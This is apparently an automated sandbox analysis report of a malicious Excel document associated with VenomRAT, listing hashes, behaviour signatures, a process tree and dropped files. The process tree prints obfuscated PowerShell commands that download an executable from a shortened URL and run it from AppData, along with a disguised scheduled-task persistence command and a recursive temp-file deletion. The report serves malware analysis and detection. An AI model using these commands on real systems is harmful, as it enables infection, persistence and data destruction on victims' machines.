Analysis

  • max time kernel
    136s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    11-11-2020 01:50

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls

  • Size

    75KB

  • MD5

    7ba7817848e5d33a4f5b301b075120d8

  • SHA1

    eacf413cf0b6db5ae2f36149dfd2792812a257f7

  • SHA256

    ccf9c52f4542aceff583c50226397e1f31630836f08ab40759e01eeaa5538ef4

  • SHA512

    06f71b6209b5091f6a16196757b8e3d973872f50d67641dbbd020a500baf19ef8ae018980529a841cb44ba2674e75bd1723605e6ec4a163093523fec389fe8a8

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cutt.ly/XgX89zi

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • VenomRAT

    VenomRAT is a modified version of QuasarRAT with some added features, such as rootkit and stealer capabilites.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 50 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1144
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /cpowe^rshell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3100
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
        3⤵
        • Blacklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3420
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /cpowe^rshell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1124
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /cpowe^rshell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:420
        • C:\Users\Admin\AppData\Roaming\qc.exe
          "C:\Users\Admin\AppData\Roaming\qc.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4448
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks" /create /tn "Chrome Startup" /sc ONLOGON /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" /rl HIGHEST /f
              6⤵
              • Creates scheduled task(s)
              PID:4552
            • C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe
              "C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe"
              6⤵
              • Executes dropped EXE
              PID:4596
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "powershell" Get-MpPreference -verbose
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4620
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k start /b del /q/f/s %TEMP%\* & exit
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4888
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K del /q/f/s C:\Users\Admin\AppData\Local\Temp\*
                7⤵
                  PID:4932
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9bqH6ybWB4Ng.bat" "
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4952
                • C:\Windows\SysWOW64\chcp.com
                  chcp 65001
                  7⤵
                    PID:5008
                  • C:\Windows\SysWOW64\PING.EXE
                    ping -n 10 localhost
                    7⤵
                    • Runs ping.exe
                    PID:5028
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    7⤵
                      PID:5056

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          MD5

          b35c81b90185530c116e245b74fa2a7b

          SHA1

          9ec3db80d69bc51a822eeb1ebc8df8eab4fd7b6a

          SHA256

          d4bbe07ea9e4148a6cbc18a722daa292595d0244b409a6d1900405b822daa4f2

          SHA512

          f99b7a101e2954e5b303823b4ecacd01a392c9121d6564585d18876de8bf8897e50f223a2b661b16d45df15d2cdf1b2aa35e1dc6148e54d9fc9e6d7602ca9e7e

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

          MD5

          1efce85e583a7a2f123317a20f889d04

          SHA1

          60f71aa73ea2e2a48ed1c17e3c6d440abf39c914

          SHA256

          2b5532a94879134a876b11c188ade1a61deaba6a80fe1f3a3a77cc442f1cca0d

          SHA512

          45a5cd283e6a6ac34c3d8b1a6d73dc1cf52d8c974cf84624e8e9924eddaf354ccda929bce728b47db2b62175e47bdc3eaca6bc6b84d3565881fa87c50319d24c

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          MD5

          6e803d58f7d31cfd86d82618d92b3fe3

          SHA1

          986c0cb9bc8a2af5fc339b13192d81e4633294b4

          SHA256

          5664fc17923259fd61bdcaba5fb41ea848fdf074daee39982a0eafef6d93a277

          SHA512

          4c489fca7d43bec9a8c0879f5032261a6d803d2ab39fa11050c5e483b28e2d7c04be32873606ebc03a83f33a287932261accedde461553da0d435fc029db4ac4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          MD5

          eb2c51686c192fa9812f468cf21f6792

          SHA1

          30ed7df337903931faa6530bbcdf7cf2f1398452

          SHA256

          7a1274c9ae25c33ea90adb30b86ff12e6324e6af6e0e995e9489e25f7d42174b

          SHA512

          67cecff7ee01ce35ea2e72471b58da55c7be4ca80aff87a70c0beebc823e9e7e0717efc4a1c62bd37483964549475ad5def2f6892919baba2a6a6dbf4a85b61a

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          MD5

          eb2c51686c192fa9812f468cf21f6792

          SHA1

          30ed7df337903931faa6530bbcdf7cf2f1398452

          SHA256

          7a1274c9ae25c33ea90adb30b86ff12e6324e6af6e0e995e9489e25f7d42174b

          SHA512

          67cecff7ee01ce35ea2e72471b58da55c7be4ca80aff87a70c0beebc823e9e7e0717efc4a1c62bd37483964549475ad5def2f6892919baba2a6a6dbf4a85b61a

        • C:\Users\Admin\AppData\Local\Temp\9bqH6ybWB4Ng.bat

          MD5

          9b3bd1a9014ca7596fc693ae98ba356b

          SHA1

          452903d32b128b2af9173d04b7b139b33c784e38

          SHA256

          6fb3c73b03fffe88c877e3654156a9bc548e3eccf4bc1c8b06716c642803d3f4

          SHA512

          629fceac04f941b6a621804829834d958c0dfb5105932087b3622f8b3c9ad1e1e13eefeda893757824688c75db752bb0012e728f194237436897a0ec7fb6fdac

        • C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe

          MD5

          b58b926c3574d28d5b7fdd2ca3ec30d5

          SHA1

          d260c4ffd603a9cfc057fcb83d678b1cecdf86f9

          SHA256

          6e70b56d748c4ccab13cc8a055d3795ea0dd95fe3b70568d7d3ac0c6621140a3

          SHA512

          b13cb998822b716b695013bcd6dec62a2290567d0d1743b2d982ca084235cf69c6ea1fc91c9d4e62657c6f9e102c7c60e81296ab055ffe43b887c5f8ec8958ab

        • C:\Users\Admin\AppData\Roaming\SubDir\chrome inc.exe

          MD5

          b58b926c3574d28d5b7fdd2ca3ec30d5

          SHA1

          d260c4ffd603a9cfc057fcb83d678b1cecdf86f9

          SHA256

          6e70b56d748c4ccab13cc8a055d3795ea0dd95fe3b70568d7d3ac0c6621140a3

          SHA512

          b13cb998822b716b695013bcd6dec62a2290567d0d1743b2d982ca084235cf69c6ea1fc91c9d4e62657c6f9e102c7c60e81296ab055ffe43b887c5f8ec8958ab

        • C:\Users\Admin\AppData\Roaming\qc.exe

          MD5

          fe0ba2fceec59d1f2a0b9b8d00c8f701

          SHA1

          b9e1c29f0cb1b839b98bfb8a3a165024e1dd479e

          SHA256

          131ae651c75b7deb9739f4e7f8cc4f30d8cb1c279db2c20c51a895eb7d9959fb

          SHA512

          6f9ca7022a29ec31585daeed1c1a184052479174be52c5c77a28538a59e9bddd45864474c2734530e350f6777d511ab1df5f119632976d87923c14411d51c941

        • C:\Users\Admin\Documents\qc.exe

          MD5

          fe0ba2fceec59d1f2a0b9b8d00c8f701

          SHA1

          b9e1c29f0cb1b839b98bfb8a3a165024e1dd479e

          SHA256

          131ae651c75b7deb9739f4e7f8cc4f30d8cb1c279db2c20c51a895eb7d9959fb

          SHA512

          6f9ca7022a29ec31585daeed1c1a184052479174be52c5c77a28538a59e9bddd45864474c2734530e350f6777d511ab1df5f119632976d87923c14411d51c941

        • memory/420-14-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

          Filesize

          9.9MB

        • memory/420-12-0x0000000000000000-mapping.dmp

        • memory/492-6-0x0000000000000000-mapping.dmp

        • memory/1124-11-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

          Filesize

          9.9MB

        • memory/1124-9-0x0000000000000000-mapping.dmp

        • memory/1144-0-0x00007FFE20890000-0x00007FFE20EC7000-memory.dmp

          Filesize

          6.2MB

        • memory/1144-3-0x0000014456807000-0x000001445680C000-memory.dmp

          Filesize

          20KB

        • memory/1144-2-0x0000014456807000-0x000001445680C000-memory.dmp

          Filesize

          20KB

        • memory/1144-1-0x0000014456807000-0x000001445680C000-memory.dmp

          Filesize

          20KB

        • memory/2388-7-0x0000000000000000-mapping.dmp

        • memory/3100-5-0x0000000000000000-mapping.dmp

        • memory/3420-13-0x000002AD26F50000-0x000002AD26F51000-memory.dmp

          Filesize

          4KB

        • memory/3420-17-0x000002AD3F2A0000-0x000002AD3F2A1000-memory.dmp

          Filesize

          4KB

        • memory/3420-10-0x00007FFE17250000-0x00007FFE17C3C000-memory.dmp

          Filesize

          9.9MB

        • memory/3420-8-0x0000000000000000-mapping.dmp

        • memory/4324-23-0x0000000000000000-mapping.dmp

        • memory/4324-31-0x0000000004C00000-0x0000000004C01000-memory.dmp

          Filesize

          4KB

        • memory/4324-33-0x0000000006F10000-0x0000000006F11000-memory.dmp

          Filesize

          4KB

        • memory/4324-34-0x0000000007590000-0x00000000075A6000-memory.dmp

          Filesize

          88KB

        • memory/4324-32-0x0000000006E20000-0x0000000006E9C000-memory.dmp

          Filesize

          496KB

        • memory/4324-26-0x0000000073A80000-0x000000007416E000-memory.dmp

          Filesize

          6.9MB

        • memory/4324-27-0x0000000000010000-0x0000000000011000-memory.dmp

          Filesize

          4KB

        • memory/4324-29-0x0000000005010000-0x0000000005011000-memory.dmp

          Filesize

          4KB

        • memory/4324-30-0x0000000004B10000-0x0000000004B11000-memory.dmp

          Filesize

          4KB

        • memory/4448-36-0x0000000000486BDE-mapping.dmp

        • memory/4448-44-0x0000000006AD0000-0x0000000006AD1000-memory.dmp

          Filesize

          4KB

        • memory/4448-43-0x0000000006700000-0x0000000006701000-memory.dmp

          Filesize

          4KB

        • memory/4448-37-0x0000000073A50000-0x000000007413E000-memory.dmp

          Filesize

          6.9MB

        • memory/4448-35-0x0000000000400000-0x000000000048C000-memory.dmp

          Filesize

          560KB

        • memory/4552-45-0x0000000000000000-mapping.dmp

        • memory/4596-50-0x0000000073A50000-0x000000007413E000-memory.dmp

          Filesize

          6.9MB

        • memory/4596-46-0x0000000000000000-mapping.dmp

        • memory/4596-51-0x00000000006A0000-0x00000000006A1000-memory.dmp

          Filesize

          4KB

        • memory/4620-73-0x0000000009CA0000-0x0000000009CA1000-memory.dmp

          Filesize

          4KB

        • memory/4620-76-0x0000000009C40000-0x0000000009C41000-memory.dmp

          Filesize

          4KB

        • memory/4620-56-0x00000000079D0000-0x00000000079D1000-memory.dmp

          Filesize

          4KB

        • memory/4620-58-0x0000000008340000-0x0000000008341000-memory.dmp

          Filesize

          4KB

        • memory/4620-54-0x0000000007A50000-0x0000000007A51000-memory.dmp

          Filesize

          4KB

        • memory/4620-60-0x0000000008180000-0x0000000008181000-memory.dmp

          Filesize

          4KB

        • memory/4620-61-0x0000000008A90000-0x0000000008A91000-memory.dmp

          Filesize

          4KB

        • memory/4620-62-0x00000000089E0000-0x00000000089E1000-memory.dmp

          Filesize

          4KB

        • memory/4620-64-0x0000000009780000-0x00000000097B3000-memory.dmp

          Filesize

          204KB

        • memory/4620-71-0x0000000009760000-0x0000000009761000-memory.dmp

          Filesize

          4KB

        • memory/4620-72-0x0000000009B40000-0x0000000009B41000-memory.dmp

          Filesize

          4KB

        • memory/4620-53-0x0000000004EE0000-0x0000000004EE1000-memory.dmp

          Filesize

          4KB

        • memory/4620-74-0x0000000009C50000-0x0000000009C51000-memory.dmp

          Filesize

          4KB

        • memory/4620-55-0x0000000007930000-0x0000000007931000-memory.dmp

          Filesize

          4KB

        • memory/4620-52-0x0000000073A50000-0x000000007413E000-memory.dmp

          Filesize

          6.9MB

        • memory/4620-48-0x0000000000000000-mapping.dmp

        • memory/4888-78-0x0000000000000000-mapping.dmp

        • memory/4932-80-0x0000000000000000-mapping.dmp

        • memory/4932-79-0x0000000000000000-mapping.dmp

        • memory/4952-81-0x0000000000000000-mapping.dmp

        • memory/5008-83-0x0000000000000000-mapping.dmp

        • memory/5028-84-0x0000000000000000-mapping.dmp

        • memory/5056-85-0x0000000000000000-mapping.dmp

        • memory/5056-86-0x0000000000000000-mapping.dmp

        • memory/5056-88-0x0000000073740000-0x0000000073E2E000-memory.dmp

          Filesize

          6.9MB